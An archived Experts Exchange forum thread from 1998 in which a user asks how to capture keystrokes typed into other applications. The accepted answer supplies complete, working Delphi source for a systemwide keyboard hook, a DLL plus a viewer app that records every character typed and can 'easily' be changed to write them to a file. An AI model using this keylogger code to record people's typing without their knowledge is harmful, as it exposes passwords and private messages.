Want to win a PS4? Go Premium and enter to win our High-Tech Treats giveaway. Enter to Win

x
?
Solved

Keyboard grabber in other applications

Posted on 1998-03-07
3
Medium Priority
?
283 Views
Last Modified: 2010-05-18
How can I trap keys pressed in others applications and write to a file?
0
Comment
Question by:narabe
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
3 Comments
 
LVL 5

Expert Comment

by:ronit051397
ID: 1360247
I think it has something to do with Hooking.
0
 
LVL 4

Accepted Solution

by:
d003303 earned 300 total points
ID: 1360248
Yo,

like ronit said, you have to use hooks. Here is a sample code that traps all characters that are generated from the keyboard (systemwide).
The first listing is a DLL source (hook procedures have to resist in a DLL), the second is a sample application that displays all chars in a TMemo. You can easily change it to write to a file.
I have commented nearly everything, so you should understand what the whole thing is doing.

///////////////////////////////
// hook library

// to be hooktest.dpr
library hooktest;

uses
  Windows,
  Messages;

// because the DLL is mapped in each process space the hook event originates,
// it is instanciated for each such process. All global variables for all
// instances are independent. So we cannot init the DLL and set parameters on
// runtime to communicate with the host application. Therefore we use constants.
//
// MainAppClassName is used by the hook procedure to send the catched char to
// the host application. MainAppClassName is equivalent to the class name of
// the TWinControl descendant instance that carries the message handler.
//
// MainAppMessageNumber defines the message number that is sent to the host
// application. It should be wm_User + n. MainAppMessageID is just to make
// sure the message is sent from the hook procedure, because wm_User + n
// can be used by anyone. Can be any value you like.
//
// If you change any of these values, DO NOT FORGET to change them also in
// the host application !!!

const
  MainAppClassName     = 'TSpyKeyHookWnd';
  MainAppMessageNumber = wm_User + 1;
  MainAppMessageID     = 123;

// these variables have to be in the DLL
// because the keyboard state depends on
// the process space. The DLL is mapped
//
// originates.
// For performance reasons, this variables
// are global.

var
  KeyState : TKeyboardState;
  CharCode : LPARAM;

function KeyHookProc(nCode: integer; wp: WPARAM; lp: LPARAM): LRESULT; stdcall;
begin
  // we shall to this refering to the Win32API documentation
  if(nCode < 0) then
   begin
     Result := CallNextHookEx(0, nCode, wp, lp);
   end
  else
   // here we go
   begin
     // we only react on a global KEYDOWN event, check bit 32 in lParam
     // otherwise a message will be sent when a key is pressed and
     // a second time when the key is released
     if (lp and (1 shl 31)) = 0 then
      begin
        // clean old value
        CharCode := 0;
        // get keyboard state (shift, shift lock, etc.)
        GetKeyboardState(KeyState);
        // if this function returns 0, no character is translated
        // e.g. when ALT or SHIFT is pressed. We only accept non-dead keys.
        // if 2 is returned, we have a multibyte system. I will not
        // support it here.
        if ToASCII(wp, HiWord(lp), KeyState, @CharCode, 0) = 1
         // send a message containing the translated char in lParam.
         // see the comment on top of the project for a description
         // on this function
         then PostMessage(FindWindow(MainAppClassName, nil), MainAppMessageNumber, MainAppMessageID, CharCode);
      end;
     // we shall to this refering to the Win32API documentation
     Result := CallNextHookEx(0, nCode, wp, lp);
   end;
end;

exports
  KeyHookProc;

begin
end.

///////////////////////////////
// demo application

// to be hookexe.dpr
program hookexe;

uses
  Forms,
  _hookexe in '_hookexe.pas' {SpyKeyHookWnd};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TSpyKeyHookWnd, SpyKeyHookWnd);
  Application.Run;
end.

// to be _hookexe.pas
unit _hookexe;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, StdCtrls;

// KeyHookDllName is the name of the DLL containing the hook procedure.
// Equivalent to the DLLs project name.
//
// KeyHookProc is the name of the hook procedure in the DLL.
//
// MainAppMessageNumber and MainAppMessageID -> See DLL source code.

const
  KeyHookDllName       = 'hooktest.dll';
  HookProcName         = 'KeyHookProc';
  MainAppMessageNumber = wm_User + 1;
  MainAppMessageID     = 123;

type
  TSpyKeyHookWnd = class(TForm)
    StatusBar1: TStatusBar;
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
    LibHandle,
    HHookProc : THandle;
    HookProc  : function(nCode: integer; wp: WPARAM; lp: LPARAM): LRESULT; stdcall;
    // this is the handler for the MainAppMessageNumber message
    procedure WMUser_KeyPressedGlobal(var Message : TMessage); message MainAppMessageNumber;
  public
    { Public declarations }
  end;

var
  SpyKeyHookWnd: TSpyKeyHookWnd;

implementation

{$R *.DFM}

procedure TSpyKeyHookWnd.WMUser_KeyPressedGlobal(var Message : TMessage);
var KeyBuf : array[0..1] of Char;
begin
  // check if message is sent from DLL
  if Message.wParam = MainAppMessageID then
   begin
     // clean structure
     FillChar(KeyBuf[0], 2, 0);
     // translate character from lParam
     KeyBuf[0] := Chr(LoByte(LoWord(Message.lParam)));
     // put it into the memo
     Memo1.SetSelTextBuf(KeyBuf);
   end;
end;

procedure TSpyKeyHookWnd.FormCreate(Sender: TObject);
var DllName : string;
begin
  // get full qualified path to the DLL, assuming it is in the
  // same directory as the host application
  DllName := ExtractFilePath(Application.ExeName) + KeyHookDllName;
  // load DLL
  LibHandle := LoadLibrary(PChar(DllName));
  if LibHandle <> 0 then
   begin
     // find hook procedure address
     @HookProc := GetProcAddress(LibHandle, HookProcName);
     if @HookProc <> nil
      // insert the hook procedure into the systems hook chain
      then HHookProc := SetWindowsHookEx(WH_KEYBOARD, HookProc, LibHandle, 0)
      else Application.MessageBox('Failed to get HookProc address', 'Error', mb_ok);
   end
  else Application.MessageBox('Failed to load DLL', 'Error', mb_ok);
end;

procedure TSpyKeyHookWnd.FormDestroy(Sender: TObject);
begin
  if LibHandle <> 0 then
   begin
     if HHookProc <> 0
      // remove the hook procedure from the systems hook chain
      then UnhookWindowsHookEx(HHookProc);
     // unload DLL
     FreeLibrary(LibHandle);
   end;
end;

end.

// to be hookexe.dfm
object SpyKeyHookWnd: TSpyKeyHookWnd
  Left = 208
  Top = 113
  Width = 325
  Height = 195
  Caption = 'Systemwide Keystrokes - here they are'
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OnCreate = FormCreate
  OnDestroy = FormDestroy
  PixelsPerInch = 96
  TextHeight = 13
  object Memo1: TMemo
    Left = 0
    Top = 0
    Width = 317
    Height = 168
    Align = alClient
    ReadOnly = True
    TabOrder = 0
  end
end

///////////////////////

Have fun,
Slash/d003303
0
 
LVL 7

Expert Comment

by:ahalya
ID: 1360249
Slash/d003303,

Beautiful !

0

Featured Post

Free Tool: IP Lookup

Get more info about an IP address or domain name, such as organization, abuse contacts and geolocation.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Introduction The parallel port is a very commonly known port, it was widely used to connect a printer to the PC, if you look at the back of your computer, for those who don't have newer computers, there will be a port with 25 pins and a small print…
Introduction I have seen many questions in this Delphi topic area where queries in threads are needed or suggested. I know bumped into a similar need. This article will address some of the concepts when dealing with a multithreaded delphi database…
In this video you will find out how to export Office 365 mailboxes using the built in eDiscovery tool. Bear in mind that although this method might be useful in some cases, using PST files as Office 365 backup is troublesome in a long run (more on t…
Please read the paragraph below before following the instructions in the video — there are important caveats in the paragraph that I did not mention in the video. If your PaperPort 12 or PaperPort 14 is failing to start, or crashing, or hanging, …
Suggested Courses

610 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question